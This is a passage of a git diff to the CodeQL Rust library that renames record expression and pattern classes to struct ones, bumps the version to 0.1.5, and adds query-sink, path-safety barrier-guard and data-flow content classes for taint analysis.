 | Macro calls - unresolved | 0 |
-| Taint edges - number of edges | 1670 |
+| Taint edges - number of edges | 1674 |
 | Taint reach - nodes tainted | 0 |
 | Taint reach - per million nodes | 0 |
 | Taint sinks - cryptographic operations | 0 |
diff --git a/rust/ql/integration-tests/options/cfg/functions.ql b/rust/ql/integration-tests/options/cfg/functions.ql
index c84e7a82ca53..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/options/cfg/functions.ql
+++ b/rust/ql/integration-tests/options/cfg/functions.ql
@@ -1,4 +1,5 @@
 import rust
 
 from Function f
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/options/features/functions.ql b/rust/ql/integration-tests/options/features/functions.ql
index c84e7a82ca53..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/options/features/functions.ql
+++ b/rust/ql/integration-tests/options/features/functions.ql
@@ -1,4 +1,5 @@
 import rust
 
 from Function f
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/options/target/functions.ql b/rust/ql/integration-tests/options/target/functions.ql
index c84e7a82ca53..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/options/target/functions.ql
+++ b/rust/ql/integration-tests/options/target/functions.ql
@@ -1,4 +1,5 @@
 import rust
 
 from Function f
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/qltest/dependencies/functions.ql b/rust/ql/integration-tests/qltest/dependencies/functions.ql
index 8d9a3213dad7..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/qltest/dependencies/functions.ql
+++ b/rust/ql/integration-tests/qltest/dependencies/functions.ql
@@ -1,5 +1,5 @@
 import rust
 
 from Function f
-where exists(f.getLocation().getFile().getRelativePath())
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/qltest/failing_cargo_check/functions.ql b/rust/ql/integration-tests/qltest/failing_cargo_check/functions.ql
index 8d9a3213dad7..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/qltest/failing_cargo_check/functions.ql
+++ b/rust/ql/integration-tests/qltest/failing_cargo_check/functions.ql
@@ -1,5 +1,5 @@
 import rust
 
 from Function f
-where exists(f.getLocation().getFile().getRelativePath())
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/qltest/lib/functions.ql b/rust/ql/integration-tests/qltest/lib/functions.ql
index 8d9a3213dad7..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/qltest/lib/functions.ql
+++ b/rust/ql/integration-tests/qltest/lib/functions.ql
@@ -1,5 +1,5 @@
 import rust
 
 from Function f
-where exists(f.getLocation().getFile().getRelativePath())
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/qltest/main/functions.ql b/rust/ql/integration-tests/qltest/main/functions.ql
index 8d9a3213dad7..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/qltest/main/functions.ql
+++ b/rust/ql/integration-tests/qltest/main/functions.ql
@@ -1,5 +1,5 @@
 import rust
 
 from Function f
-where exists(f.getLocation().getFile().getRelativePath())
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/workspace-with-glob/steps.expected b/rust/ql/integration-tests/workspace-with-glob/steps.expected
index 26ac51d87bd1..4b0e6ed828b6 100644
--- a/rust/ql/integration-tests/workspace-with-glob/steps.expected
+++ b/rust/ql/integration-tests/workspace-with-glob/steps.expected
@@ -1,6 +1,7 @@
 | Cargo.toml:0:0:0:0 | LoadManifest(Cargo.toml) |
 | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) |
 | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) |
+| file://:0:0:0:0 | CrateGraph |
 | file://:0:0:0:0 | FindManifests |
 | lib/src/lib.rs:0:0:0:0 | Extract(lib/src/lib.rs) |
 | lib/src/lib.rs:0:0:0:0 | Parse(lib/src/lib.rs) |
diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md
index 2bfa7916b94b..85c1fc61056f 100644
--- a/rust/ql/lib/CHANGELOG.md
+++ b/rust/ql/lib/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 0.1.5
+
+No user-facing changes.
+
 ## 0.1.4
 
 No user-facing changes.
diff --git a/rust/ql/lib/change-notes/released/0.1.5.md b/rust/ql/lib/change-notes/released/0.1.5.md
new file mode 100644
index 000000000000..83cd9c5ff46a
--- /dev/null
+++ b/rust/ql/lib/change-notes/released/0.1.5.md
@@ -0,0 +1,3 @@
+## 0.1.5
+
+No user-facing changes.
diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml
index e8ee3af8ef9a..157cff8108d3 100644
--- a/rust/ql/lib/codeql-pack.release.yml
+++ b/rust/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.4
+lastReleaseVersion: 0.1.5
diff --git a/rust/ql/lib/codeql/files/FileSystem.qll b/rust/ql/lib/codeql/files/FileSystem.qll
index b13793b36001..175f50c7c9ea 100644
--- a/rust/ql/lib/codeql/files/FileSystem.qll
+++ b/rust/ql/lib/codeql/files/FileSystem.qll
@@ -55,7 +55,8 @@ class File extends Container, Impl::File {
         |
           node.getFile() = this and
           line = [/*loc.getStartLine(), */ loc.getEndLine()] and // ignore start locations for now as we're getting them wrong for things with a comment attached
-          not loc instanceof EmptyLocation
+          not loc instanceof EmptyLocation and
+          line > 0
         )
       )
   }
diff --git a/rust/ql/lib/codeql/rust/Concepts.qll b/rust/ql/lib/codeql/rust/Concepts.qll
index 1ad206477aee..723cde6913a8 100644
--- a/rust/ql/lib/codeql/rust/Concepts.qll
+++ b/rust/ql/lib/codeql/rust/Concepts.qll
@@ -8,6 +8,8 @@ private import codeql.rust.dataflow.DataFlow
 private import codeql.threatmodels.ThreatModels
 private import codeql.rust.Frameworks
 private import codeql.rust.dataflow.FlowSource
+private import codeql.rust.controlflow.ControlFlowGraph as Cfg
+private import codeql.rust.controlflow.CfgNodes as CfgNodes
 
 /**
  * A data flow source for a specific threat-model.
@@ -152,6 +154,29 @@ class ModeledRemoteSource extends RemoteSource::Range {
   ModeledRemoteSource() { sourceNode(this, "remote") }
 }
 
+/**
+ * A data flow sink that is used in a query.
+ *
+ * Extend this class to refine existing API models. If you want to model new APIs,
+ * extend `QuerySink::Range` instead.
+ */
+final class QuerySink = QuerySink::Range;
+
+/**
+ * Provides a class for modeling new query sinks.
+ */
+module QuerySink {
+  /**
+   * A data flow sink that is used in a query.
+   */
+  abstract class Range extends DataFlow::Node {
+    /**
+     * Gets a string that describes the type of this sink (usually the query it applies to).
+     */
+    abstract string getSinkType();
+  }
+}
+
 /**
  * A data flow node that constructs a SQL statement (for later execution).
  *
@@ -241,3 +266,38 @@ module Cryptography {
 
   class CryptographicAlgorithm = SC::CryptographicAlgorithm;
 }
+
+/** Provides classes for modeling path-related APIs. */
+module Path {
+  final class PathNormalization = PathNormalization::Range;
+
+  /** Provides a class for modeling new path normalization APIs. */
+  module PathNormalization {
+    /**
+     * A data-flow node that performs path normalization. This is often needed in order
+     * to safely access paths.
+     */
+    abstract class Range extends DataFlow::Node {
+      /** Gets an argument to this path normalization that is interpreted as a path. */
+      abstract DataFlow::Node getPathArg();
+    }
+  }
+
+  /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */
+  class SafeAccessCheck extends DataFlow::ExprNode {
+    SafeAccessCheck() { this = DataFlow::BarrierGuard<safeAccessCheck/3>::getABarrierNode() }
+  }
+
+  private predicate safeAccessCheck(CfgNodes::AstCfgNode g, Cfg::CfgNode node, boolean branch) {
+    g.(SafeAccessCheck::Range).checks(node, branch)
+  }
+
+  /** Provides a class for modeling new path safety checks. */
+  module SafeAccessCheck {
+    /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */
+    abstract class Range extends CfgNodes::AstCfgNode {
+      /** Holds if this guard validates `node` upon evaluating to `branch`. */
+      abstract predicate checks(Cfg::CfgNode node, boolean branch);
+    }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/Frameworks.qll b/rust/ql/lib/codeql/rust/Frameworks.qll
index daa96538e21f..0e91ed427ba4 100644
--- a/rust/ql/lib/codeql/rust/Frameworks.qll
+++ b/rust/ql/lib/codeql/rust/Frameworks.qll
@@ -3,5 +3,7 @@
  */
 
 private import codeql.rust.frameworks.rustcrypto.RustCrypto
+private import codeql.rust.frameworks.Poem
 private import codeql.rust.frameworks.Sqlx
 private import codeql.rust.frameworks.stdlib.Clone
+private import codeql.rust.frameworks.stdlib.Stdlib
diff --git a/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll
index 583ba9fea26a..e68f2efde5b6 100644
--- a/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll
+++ b/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll
@@ -230,18 +230,17 @@ final class MacroCallCfgNode extends Nodes::MacroCallCfgNode {
  * Foo { .. } = second;
  * ```
  */
-final class RecordExprCfgNode extends Nodes::RecordExprCfgNode {
-  private RecordExprChildMapping node;
+final class StructExprCfgNode extends Nodes::StructExprCfgNode {
+  private StructExprChildMapping node;
 
-  RecordExprCfgNode() { node = this.getRecordExpr() }
+  StructExprCfgNode() { node = this.getStructExpr() }
 
   /** Gets the record expression for the field `field`. */
   pragma[nomagic]
   ExprCfgNode getFieldExpr(string field) {
-    exists(RecordExprField ref |
-      ref = node.getRecordExprFieldList().getAField() and
-      any(ChildMapping mapping).hasCfgChild(node, ref.getExpr(), this, result) and
-      field = ref.getFieldName()
+    exists(StructExprField ref |
+      ref = node.getFieldExpr(field) and
+      any(ChildMapping mapping).hasCfgChild(node, ref.getExpr(), this, result)
     )
   }
 }
@@ -255,16 +254,16 @@ final class RecordExprCfgNode extends Nodes::RecordExprCfgNode {
  * }
  * ```
  */
-final class RecordPatCfgNode extends Nodes::RecordPatCfgNode {
-  private RecordPatChildMapping node;
+final class StructPatCfgNode extends Nodes::StructPatCfgNode {
+  private StructPatChildMapping node;
 
-  RecordPatCfgNode() { node = this.getRecordPat() }
+  StructPatCfgNode() { node = this.getStructPat() }
 
   /** Gets the record pattern for the field `field`. */
   pragma[nomagic]
   PatCfgNode getFieldPat(string field) {
-    exists(RecordPatField rpf |
-      rpf = node.getRecordPatFieldList().getAField() and
+    exists(StructPatField rpf |
+      rpf = node.getStructPatFieldList().getAField() and
       any(ChildMapping mapping).hasCfgChild(node, rpf.getPat(), this, result) and
       field = rpf.getFieldName()
     )
diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll
index 90dfa343d040..2f1f710df837 100644
--- a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll
+++ b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll
@@ -62,15 +62,15 @@ class CallExprBaseChildMapping extends ParentAstNode, CallExprBase {
   override predicate relevantChild(AstNode child) { child = this.getArgList().getAnArg() }
 }
 
-class RecordExprChildMapping extends ParentAstNode, RecordExpr {
+class StructExprChildMapping extends ParentAstNode, StructExpr {
   override predicate relevantChild(AstNode child) {
-    child = this.getRecordExprFieldList().getAField().getExpr()
+    child = this.getStructExprFieldList().getAField().getExpr()
   }
 }
 
-class RecordPatChildMapping extends ParentAstNode, RecordPat {
+class StructPatChildMapping extends ParentAstNode, StructPat {
   override predicate relevantChild(AstNode child) {
-    child = this.getRecordPatFieldList().getAField().getPat()
+    child = this.getStructPatFieldList().getAField().getPat()
   }
 }
 
diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll b/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll
index c0707c68e4b9..1107068606f1 100644
--- a/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll
+++ b/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll
@@ -90,7 +90,7 @@ class BooleanCompletion extends ConditionalCompletion, TBooleanCompletion {
       or
       e = parent.(BinaryLogicalOperation).getRhs()
       or
-      parent = any(IfExpr ie | e = [ie.getThen(), ie.getElse()])
+      e = parent.(IfExpr).getABranch()
       or
       e = parent.(MatchExpr).getAnArm().getExpr()
       or
@@ -126,8 +126,11 @@ private predicate cannotCauseMatchFailure(Pat pat) {
   pat instanceof RangePat or
   // Identifier patterns that are in fact path patterns can cause failures. For
   // instance `None`. Only if an `@ ...` part is present can we be sure that
-  // it's an actual identifier pattern.
-  pat = any(IdentPat p | p.hasPat()) or
+  // it's an actual identifier pattern. As a heuristic, if the identifier starts
+  // with a lower case letter, then we assume that it's an identifier.  This
+  // works for code that follows the Rust naming convention for enums and
+  // constants.
+  pat = any(IdentPat p | p.hasPat() or p.getName().getText().charAt(0).isLowercase()) or
   pat instanceof WildcardPat or
   pat instanceof RestPat or
   pat instanceof RefPat or
diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll
index 1f9ef54a2df5..900580914e2f 100644
--- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll
+++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll
@@ -329,14 +329,14 @@ module ExprTrees {
   }
 
   class FieldExprTree extends StandardPostOrderTree instanceof FieldExpr {
-    override AstNode getChildNode(int i) { i = 0 and result = super.getExpr() }
+    override AstNode getChildNode(int i) { i = 0 and result = super.getContainer() }
   }
 
   class IfExprTree extends PostOrderTree instanceof IfExpr {
     override predicate first(AstNode node) { first(super.getCondition(), node) }
 
     override predicate propagatesAbnormal(AstNode child) {
-      child = [super.getCondition(), super.getThen(), super.getElse()]
+      child = [super.getCondition(), super.getABranch()]
     }
 
     private ConditionalCompletion conditionCompletion(Completion c) {
@@ -575,9 +575,9 @@ module ExprTrees {
     }
   }
 
-  class RecordExprTree extends StandardPostOrderTree instanceof RecordExpr {
+  class StructExprTree extends StandardPostOrderTree instanceof StructExpr {
     override AstNode getChildNode(int i) {
-      result = super.getRecordExprFieldList().getField(i).getExpr()
+      result = super.getStructExprFieldList().getField(i).getExpr()
     }
   }
 
@@ -726,12 +726,12 @@ module PatternTrees {
     }
   }
 
-  class RecordPatTree extends PreOrderPatTree, RecordPat {
+  class StructPatTree extends PreOrderPatTree, StructPat {
     override Pat getPat(int i) {
-      result = this.getRecordPatFieldList().getField(i).getPat()
+      result = this.getStructPatFieldList().getField(i).getPat()
       or
-      i = this.getRecordPatFieldList().getNumberOfFields() and
-      result = this.getRecordPatFieldList().getRestPat()
+      i = this.getStructPatFieldList().getNumberOfFields() and
+      result = this.getStructPatFieldList().getRestPat()
     }
   }
 
diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/Splitting.qll b/rust/ql/lib/codeql/rust/controlflow/internal/Splitting.qll
index e20cbcb13555..2d3526c13702 100644
--- a/rust/ql/lib/codeql/rust/controlflow/internal/Splitting.qll
+++ b/rust/ql/lib/codeql/rust/controlflow/internal/Splitting.qll
@@ -81,7 +81,7 @@ module ConditionalCompletionSplitting {
       (
         child = parent.(BinaryLogicalOperation).getAnOperand()
         or
-        parent = any(IfExpr ie | child = [ie.getThen(), ie.getElse()])
+        child = parent.(IfExpr).getABranch()
         or
         child = parent.(MatchExpr).getAnArm().getExpr()
         or
diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll
index e1f4e16b6fc4..12ef6847b821 100644
--- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll
+++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll
@@ -901,7 +901,7 @@ module MakeCfgNodes<LocationSig Loc, InputSig<Loc> Input> {
       override predicate relevantChild(AstNode child) {
         none()
         or
-        child = this.getExpr()
+        child = this.getContainer()
       }
     }
 
@@ -935,26 +935,26 @@ module MakeCfgNodes<LocationSig Loc, InputSig<Loc> Input> {
       int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
 
       /**
-       * Gets the expression of this field expression, if it exists.
+       * Gets the container of this field expression, if it exists.
        */
-      ExprCfgNode getExpr() {
-        any(ChildMapping mapping).hasCfgChild(node, node.getExpr(), this, result)
+      ExprCfgNode getContainer() {
+        any(ChildMapping mapping).hasCfgChild(node, node.getContainer(), this, result)
       }
 
       /**
-       * Holds if `getExpr()` exists.
+       * Holds if `getContainer()` exists.
        */
-      predicate hasExpr() { exists(this.getExpr()) }
+      predicate hasContainer() { exists(this.getContainer()) }
 
       /**
-       * Gets the name reference of this field expression, if it exists.
+       * Gets the identifier of this field expression, if it exists.
        */
-      NameRef getNameRef() { result = node.getNameRef() }
+      NameRef getIdentifier() { result = node.getIdentifier() }
 
       /**
-       * Holds if `getNameRef()` exists.
+       * Holds if `getIdentifier()` exists.
        */
-      predicate hasNameRef() { exists(this.getNameRef()) }
+      predicate hasIdentifier() { exists(this.getIdentifier()) }
     }
 
     final private class ParentForExpr extends ParentAstNode, ForExpr {
@@ -2003,14 +2003,14 @@ module MakeCfgNodes<LocationSig Loc, InputSig<Loc> Input> {
       predicate hasGenericArgList() { exists(this.getGenericArgList()) }
 
       /**
-       * Gets the name reference of this method call expression, if it exists.
+       * Gets the identifier of this method call expression, if it exists.
        */
-      NameRef getNameRef() { result = node.getNameRef() }
+      NameRef getIdentifier() { result = node.getIdentifier() }
 
       /**
-       * Holds if `getNameRef()` exists.
+       * Holds if `getIdentifier()` exists.
        */
-      predicate hasNameRef() { exists(this.getNameRef()) }
+      predicate hasIdentifier() { exists(this.getIdentifier()) }
 
       /**
        * Gets the receiver of this method call expression, if it exists.
@@ -2528,70 +2528,6 @@ module MakeCfgNodes<LocationSig Loc, InputSig<Loc> Input> {
       predicate hasStart() { exists(this.getStart()) }
     }
 
-    final private class ParentRecordExpr extends ParentAstNode, RecordExpr {
-      override predicate relevantChild(AstNode child) { none() }
-    }
-
-    /**
-     * A record expression. For example:
-     * ```rust
-     * let first = Foo { a: 1, b: 2 };
-     * let second = Foo { a: 2, ..first };
-     * Foo { a: 1, b: 2 }[2] = 10;
-     * Foo { .. } = second;
-     * ```
-     */
-    final class RecordExprCfgNode extends CfgNodeFinal, ExprCfgNode {
-      private RecordExpr node;
-
-      RecordExprCfgNode() { node = this.getAstNode() }
-
-      /** Gets the underlying `RecordExpr`. */
-      RecordExpr getRecordExpr() { result = node }
-
-      /**
-       * Gets the record expression field list of this record expression, if it exists.
-       */
-      RecordExprFieldList getRecordExprFieldList() { result = node.getRecordExprFieldList() }
-
-      /**
-       * Holds if `getRecordExprFieldList()` exists.
-       */
-      predicate hasRecordExprFieldList() { exists(this.getRecordExprFieldList()) }
-    }
-
-    final private class ParentRecordPat extends ParentAstNode, RecordPat {
-      override predicate relevantChild(AstNode child) { none() }
-    }
-
-    /**
-     * A record pattern. For example:
-     * ```rust
-     * match x {
-     *     Foo { a: 1, b: 2 } => "ok",
-     *     Foo { .. } => "fail",
-     * }
-     * ```
-     */
-    final class RecordPatCfgNode extends CfgNodeFinal, PatCfgNode {
-      private RecordPat node;
-
-      RecordPatCfgNode() { node = this.getAstNode() }
-
-      /** Gets the underlying `RecordPat`. */
-      RecordPat getRecordPat() { result = node }
-
-      /**
-       * Gets the record pattern field list of this record pattern, if it exists.
-       */
-      RecordPatFieldList getRecordPatFieldList() { result = node.getRecordPatFieldList() }
-
-      /**
-       * Holds if `getRecordPatFieldList()` exists.
-       */
-      predicate hasRecordPatFieldList() { exists(this.getRecordPatFieldList()) }
-    }
-
     final private class ParentRefExpr extends ParentAstNode, RefExpr {
       override predicate relevantChild(AstNode child) {
         none()
@@ -2900,6 +2836,70 @@ module MakeCfgNodes<LocationSig Loc, InputSig<Loc> Input> {
       int getNumberOfPats() { result = count(int i | exists(this.getPat(i))) }
     }
 
+    final private class ParentStructExpr extends ParentAstNode, StructExpr {
+      override predicate relevantChild(AstNode child) { none() }
+    }
+
+    /**
+     * A struct expression. For example:
+     * ```rust
+     * let first = Foo { a: 1, b: 2 };
+     * let second = Foo { a: 2, ..first };
+     * Foo { a: 1, b: 2 }[2] = 10;
+     * Foo { .. } = second;
+     * ```
+     */
+    final class StructExprCfgNode extends CfgNodeFinal, ExprCfgNode {
+      private StructExpr node;
+
+      StructExprCfgNode() { node = this.getAstNode() }
+
+      /** Gets the underlying `StructExpr`. */
+      StructExpr getStructExpr() { result = node }
+
+      /**
+       * Gets the struct expression field list of this struct expression, if it exists.
+       */
+      StructExprFieldList getStructExprFieldList() { result = node.getStructExprFieldList() }
+
+      /**
+       * Holds if `getStructExprFieldList()` exists.
+       */
+      predicate hasStructExprFieldList() { exists(this.getStructExprFieldList()) }
+    }
+
+    final private class ParentStructPat extends ParentAstNode, StructPat {
+      override predicate relevantChild(AstNode child) { none() }
+    }
+
+    /**
+     * A struct pattern. For example:
+     * ```rust
+     * match x {
+     *     Foo { a: 1, b: 2 } => "ok",
+     *     Foo { .. } => "fail",
+     * }
+     * ```
+     */
+    final class StructPatCfgNode extends CfgNodeFinal, PatCfgNode {
+      private StructPat node;
+
+      StructPatCfgNode() { node = this.getAstNode() }
+
+      /** Gets the underlying `StructPat`. */
+      StructPat getStructPat() { result = node }
+
+      /**
+       * Gets the struct pattern field list of this struct pattern, if it exists.
+       */
+      StructPatFieldList getStructPatFieldList() { result = node.getStructPatFieldList() }
+
+      /**
+       * Holds if `getStructPatFieldList()` exists.
+       */
+      predicate hasStructPatFieldList() { exists(this.getStructPatFieldList()) }
+    }
+
     final private class ParentTryExpr extends ParentAstNode, TryExpr {
       override predicate relevantChild(AstNode child) {
         none()
@@ -3460,14 +3460,14 @@ module MakeCfgNodes<LocationSig Loc, InputSig<Loc> Input> {
           cfgNode
         )
       or
-      pred = "getExpr" and
+      pred = "getContainer" and
       parent =
         any(Nodes::FieldExprCfgNode cfgNode, FieldExpr astNode |
           astNode = cfgNode.getFieldExpr() and
-          child = getDesugared(astNode.getExpr()) and
+          child = getDesugared(astNode.getContainer()) and
           i = -1 and
           hasCfgNode(child) and
-          not child = cfgNode.getExpr().getAstNode()
+          not child = cfgNode.getContainer().getAstNode()
         |
           cfgNode
         )
diff --git a/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll b/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll
index a384f9e5c37e..cfcea9eaa2da 100644
--- a/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll
@@ -6,7 +6,10 @@
 private import rust
 private import codeql.dataflow.DataFlow
 private import internal.DataFlowImpl as DataFlowImpl
-private import DataFlowImpl::Node as Node
+private import internal.Node as Node
+private import internal.Content as Content
+private import codeql.rust.controlflow.ControlFlowGraph as Cfg
+private import codeql.rust.controlflow.CfgNodes as CfgNodes
 
 /**
  * Provides classes for performing local (intra-procedural) and global
@@ -15,6 +18,8 @@ private import DataFlowImpl::Node as Node
 module DataFlow {
   final class Node = Node::NodePublic;
 
+  final class ExprNode = Node::ExprNode;
+
   /**
    * The value of a parameter at function entry, viewed as a node in a data
    * flow graph.
@@ -23,9 +28,23 @@ module DataFlow {
 
   final class PostUpdateNode = Node::PostUpdateNodePublic;
 
-  final class Content = DataFlowImpl::Content;
+  final class Content = Content::Content;
+
+  final class FieldContent = Content::FieldContent;
+
+  final class TuplePositionContent = Content::TuplePositionContent;
+
+  final class TupleFieldContent = Content::TupleFieldContent;
+
+  final class StructFieldContent = Content::StructFieldContent;
+
+  final class ReferenceContent = Content::ReferenceContent;
+
+  final class ElementContent = Content::ElementContent;
+
+  final class FutureContent = Content::FutureContent;
 
-  final class ContentSet = DataFlowImpl::ContentSet;
+  final class ContentSet = Content::ContentSet;
 
   /**
    * Holds if data flows from `nodeFrom` to `nodeTo` in exactly one local
@@ -41,4 +60,31 @@ module DataFlow {
   predicate localFlow(Node::Node source, Node::Node sink) { localFlowStep*(source, sink) }
 
   import DataFlowMake<Location, DataFlowImpl::RustDataFlow>
+
+  /**
+   * Holds if the guard `g` validates the expression `e` upon evaluating to `v`.
+   *
+   * The expression `e` is expected to be a syntactic part of the guard `g`.
+   * For example, the guard `g` might be a call `isSafe(x)` and the expression `e`
+   * the argument `x`.
+   */
+  signature predicate guardChecksSig(CfgNodes::AstCfgNode g, Cfg::CfgNode e, boolean branch);
+
+  /**
+   * Provides a set of barrier nodes for a guard that validates an expression.
+   *
+   * This is expected to be used in `isBarrier`/`isSanitizer` definitions
+   * in data flow and taint tracking.
+   */
+  module BarrierGuard<guardChecksSig/3 guardChecks> {
+    private import internal.DataFlowImpl::SsaFlow as SsaFlow
+    private import internal.SsaImpl as SsaImpl
+
+    /** Gets a node that is safely guarded by the given guard check. */
+    pragma[nomagic]
+    Node getABarrierNode() {
+      SsaFlow::asNode(result) =
+        SsaImpl::DataFlowIntegration::BarrierGuard<guardChecks/3>::getABarrierNode()
+    }
+  }
 }
diff --git a/rust/ql/lib/codeql/rust/dataflow/FlowSink.qll b/rust/ql/lib/codeql/rust/dataflow/FlowSink.qll
index 2a6351930161..d4883b7b1b9c 100644
--- a/rust/ql/lib/codeql/rust/dataflow/FlowSink.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/FlowSink.qll
@@ -1,4 +1,22 @@
-/** Provides classes and predicates for defining flow sinks. */
+/**
+ * Provides classes and predicates for defining flow sinks.
+ *
+ * Flow sinks defined here feed into data flow configurations as follows:
+ *
+ * ```text
+ * data from *.model.yml | QL extensions of FlowSink::Range
+ *  v                       v
+ * FlowSink (associated with a models-as-data kind string)
+ *  v
+ * sinkNode predicate | other QL defined sinks, for example using concepts
+ *  v                    v
+ * various Sink classes for specific data flow configurations <- extending QuerySink
+ * ```
+ *
+ * New sinks should be defined using models-as-data, QL extensions of
+ * `FlowSink::Range`, or concepts. Data flow configurations should use the
+ * `sinkNode` predicate and/or concepts to define their sinks.
+ */
 
 private import rust
 private import internal.FlowSummaryImpl as Impl
@@ -12,7 +30,7 @@ private module Sinks {
 
 /** Provides the `Range` class used to define the extent of `FlowSink`. */
 module FlowSink {
-  /** A flow source. */
+  /** A flow sink. */
   abstract class Range extends Impl::Public::SinkElement {
     bindingset[this]
     Range() { any() }
diff --git a/rust/ql/lib/codeql/rust/dataflow/FlowSource.qll b/rust/ql/lib/codeql/rust/dataflow/FlowSource.qll
index ee356a2a06a6..51562fdf83a3 100644
--- a/rust/ql/lib/codeql/rust/dataflow/FlowSource.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/FlowSource.qll
@@ -1,4 +1,28 @@
-/** Provides classes and predicates for defining flow sources. */
+/**
+ * Provides classes and predicates for defining flow sources.
+ *
+ * Flow sources defined here feed into the `ActiveThreatModelSource` class and
+ * ultimately reach data flow configurations as follows:
+ *
+ * ```text
+ * data from *.model.yml | QL extensions of FlowSource::Range
+ *  v                       v
+ * FlowSource (associated with a models-as-data kind string)
+ *  v
+ * sourceNode predicate | (theoretically other QL defined sources)
+ *  v                      v
+ * ThreatModelSource (associated with a threat model source type)
+ *  v
+ * ActiveThreatModelSource (just the enabled sources)
+ *  v
+ * various Source classes for specific data flow configurations
+ * ```
+ *
+ * New sources should be defined using models-as-data or QL extensions of
+ * `FlowSource::Range`. Data flow configurations on the other hand should use
+ * `ActiveThreatModelSource` to match sources enabled in the user
+ * configuration.
+ */
 
 private import rust
 private import internal.FlowSummaryImpl as Impl
diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll
new file mode 100644
index 000000000000..ccdf8c763ca8
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll
@@ -0,0 +1,274 @@
+/**
+ * Provides the `Content` class and subclasses thereof.
+ */
+
+private import rust
+private import codeql.rust.controlflow.CfgNodes
+private import DataFlowImpl
+
+/**
+ * A path to a value contained in an object. For example a field name of a struct.
+ */
+abstract class Content extends TContent {
+  /** Gets a textual representation of this content. */
+  abstract string toString();
+
+  /** Gets the location of this content. */
+  abstract Location getLocation();
+}
+
+/** A field belonging to either a variant or a struct. */
+abstract class FieldContent extends Content {
+  /** Gets an access to this field. */
+  pragma[nomagic]
+  abstract FieldExprCfgNode getAnAccess();
+}
+
+/** A tuple field belonging to either a variant or a struct. */
+class TupleFieldContent extends FieldContent, TTupleFieldContent {
+  private TupleField field;
+
+  TupleFieldContent() { this = TTupleFieldContent(field) }
+
+  /** Holds if this field belongs to an enum variant. */
+  predicate isVariantField(Variant v, int pos) { field.isVariantField(v, pos) }
+
+  /** Holds if this field belongs to a struct. */
+  predicate isStructField(Struct s, int pos) { field.isStructField(s, pos) }
+
+  override FieldExprCfgNode getAnAccess() { field = result.getFieldExpr().getTupleField() }
+
+  final override string toString() {
+    exists(Variant v, int pos, string vname |
+      this.isVariantField(v, pos) and
+      vname = v.getName().getText() and
+      // only print indices when the arity is > 1
+      if exists(v.getTupleField(1)) then result = vname + "(" + pos + ")" else result = vname
+    )
+    or
+    exists(Struct s, int pos, string sname |
+      this.isStructField(s, pos) and
+      sname = s.getName().getText() and
+      // only print indices when the arity is > 1
+      if exists(s.getTupleField(1)) then result = sname + "(" + pos + ")" else result = sname
+    )
+  }
+
+  final override Location getLocation() { result = field.getLocation() }
+}
+
+/** A record field belonging to either a variant or a struct. */
+class StructFieldContent extends FieldContent, TStructFieldContent {
+  private StructField field;
+
+  StructFieldContent() { this = TStructFieldContent(field) }
+
+  /** Holds if this field belongs to an enum variant. */
+  predicate isVariantField(Variant v, string name) { field.isVariantField(v, name) }
+
+  /** Holds if this field belongs to a struct. */
+  predicate isStructField(Struct s, string name) { field.isStructField(s, name) }
+
